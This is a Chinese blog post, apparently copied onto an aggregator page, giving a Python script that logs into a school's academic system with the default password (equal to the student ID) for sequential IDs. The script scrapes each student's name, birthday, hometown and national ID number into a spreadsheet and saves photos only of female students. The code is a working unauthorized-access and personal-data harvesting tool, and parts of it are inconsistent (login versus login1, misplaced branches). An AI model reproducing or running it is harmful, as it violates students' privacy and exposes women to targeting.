使用Python爬取学校学生信息!(简单爬虫)
来源:互联网 发布:excel重复数据合并求和 编辑:程序博客网 时间:2024/05/16 18:06
很久木有来写博文啦,发现学校的教务系统很多童鞋都木有修改初始密码,于是博主就想写试用python写一个爬虫小脚本,将木有修改初始密码的童鞋资料扒下来,然后嘿嘿嘿~~~通知他们修改!
鉴于写博文时未通知这些受害童鞋们,因此隐去关键信息。
首先为初始化方法__init__(self)
import urllibimport urllib2import cookielibimport reimport xlwtfrom xlrd import open_workbookfrom xlutils.copy import copyclass STUPID: def __init__(self): self.c=0#用于后期记录在excel中行数 self.loginurl='http://xxx.cn/xxx/xxx.asp'#登陆url self.infurl='http://xxx.cn/xxx/xxx/show.asp' #获取信息的url #user-agent用于放在header中,伪装为浏览器 self.user_agent='Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36' self.headers={ 'User-Agent':self.user_agent }#设置头 #用于保存cookie cookie = cookielib.CookieJar() #用于输出send内容,dubug时使用 httpHandler = urllib2.HTTPHandler(debuglevel=1) httpsHandler = urllib2.HTTPSHandler(debuglevel=1) self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie),httpHandler, httpsHandler) urllib2.install_opener(self.opener)
下面介绍login(self,k)
方法
def login1(self,k): user= str(123456789+k)#用户名为学号,为保护隐私,采用该输入,K位偏移量,这是由于学号采用递增方式排列 passwd= str(123456789+k)#初始密码等于用户名 #设置提交给服务器的数据 postdata= urllib.urlencode({ 'user':user, 'pass':passwd, 'typeid':'2'})#typeid为用户种类 request=urllib2.Request( url=self.loginurl, data = postdata, headers=self.headers ) result= self.opener.open(request)#登陆并获取返回内容 return user#返回学号
登陆成功之后,由于cookie已存在并记录在签名定义的cookie中,因此可以直接访问信息页面,调用方法getInfPage(self)
:
def getInfPage(self): request=urllib2.Request( url=self.infurl, headers=self.headers ) result= self.opener.open(request) return result.read().decode('gbk')
读取的数据为html的文本,因此需要使用正则表达式对需要的内容进行抓取,调用方法readInf(self)
:
def readInf(self): page= self.getInfPage()#page为html内容 inf=re.findall('<td.*?>([^<tr>].*?)</td>.*?<td.*?>(.*?)</td>',page,re.S) return inf
按照规则匹配后数据将会存在list中并返回,此时调用writeinf(self,Items,user)
方法讲信息写入excel
def writeinf(self,Items,user): if Items:#若item不为空,行数+1 self.c = self.c+1 else: #由于包里没有直接修改的方法,因此采用先复制再写的方法 rb = open_workbook("inf.xls")#打开inf.xls文件 wb= copy(rb)#复制内容 s= wb.get_sheet(0)#获取第一张表 i=0 username ='' x= unicode('女', "utf-8") for item in Items: s.write(self.c,0,user)#第一列写入学号 if i<3 : if i==0: username=item[1]#获取姓名,并写入第二列 if i== 1 and item[1] == x:#若为女生,获取其照片 self.saveImg(user,username)#此为保存图片方法,在下文介绍 print 'save' s.write(self.c,i+1,item[1])#第三列写入性别,第四列写民族 if i== 13:# s.write(self.c,6,item[1])#第七列写入毕业院校 if i== 15: s.write(self.c,7,item[1])#第八列写入籍贯 if i== 17: s.write(self.c,8,item[1])#第九列为身份证号 else: if i == 4: s.write(self.c,4,item[0])第五列写生日 if i == 8: s.write(self.c,5,item[0])第六列写政治面貌 i= i+1 wb.save('inf.xls')#保存xsl文件
介绍一下保存图片的方法saveImg(self,user,username)
:
def saveImg(self,user,username): imgUrl= 'http://xxx.cn/xxx/xxx/'+user+'.jpg'#图片url filename= 'img/'+username+'.jpg'#文件以名字命名 u= urllib.urlopen(imgUrl) data= u.read()#读取图片 f= open(filename,'wb') f.write(data)#保存图片 f.close #关闭 return True
最后运行即可
supid= STUPID()k=1for k in range(1,200) : user= supid.login(k)#由于学生人数在200以内,因此最高设置为200 supid.writeinf(supid.readInf(),user)
然后就是耐心等待啦,时间有点长,准备再加个多线程~~~图片和信息我只是保存着玩哒,并不准备用来做羞羞的事情~大家也不要干坏事哟!
0 0
- 使用Python爬取学校学生信息!(简单爬虫)
- Python简单爬虫(爬取天气信息)
- Python 简单爬虫实现(爬取百度百科信息)
- 使用python+selenium爬取学生信息并入库
- 使用python爬取学校门户网站相关信息并格式化输出
- python 爬虫爬取所有上市公司公告信息(一)
- python 爬虫爬取所有上市公司公告信息(二)
- python 爬虫爬取所有上市公司公告信息(三)
- python 爬虫爬取所有上市公司公告信息(四)
- python 爬虫爬取所有上市公司公告信息(五)
- 使用简单的python语句编写爬虫 定时拿取信息并存入txt
- 爬取学校教务系统学生课表
- python 爬虫入门(6) 简单爬去学校网站的绩点
- 简单的python爬虫(爬取百度百科词条)
- python爬虫----简单的图片爬取
- [笔记]python网络爬虫:一个简单的定向爬取大学排名信息示例
- [python爬虫] BeautifulSoup和Selenium简单爬取知网信息测试
- [python爬虫]爬取学校教务处以及登录过程验证码的处理
- Android Studio环境的搭建
- Java在程序设计题目中的妙用
- HDU 1113 Word Amalgamation
- 移动端开发demo—移动端web相册(一)
- CUDA从入门到精通
- 使用Python爬取学校学生信息!(简单爬虫)
- STRUTS2中的OGNL
- Oracle学习之:RedHat 6.5 安装 11g数据库
- org.elasticsearch.client.transport.NoNodeAvailableException。。解决办法
- brtools备份与恢复
- 将本地工程上传到github
- WEB入门之十四 jQuery事件
- Lint-code-有效的括号序列
- 大数据面试题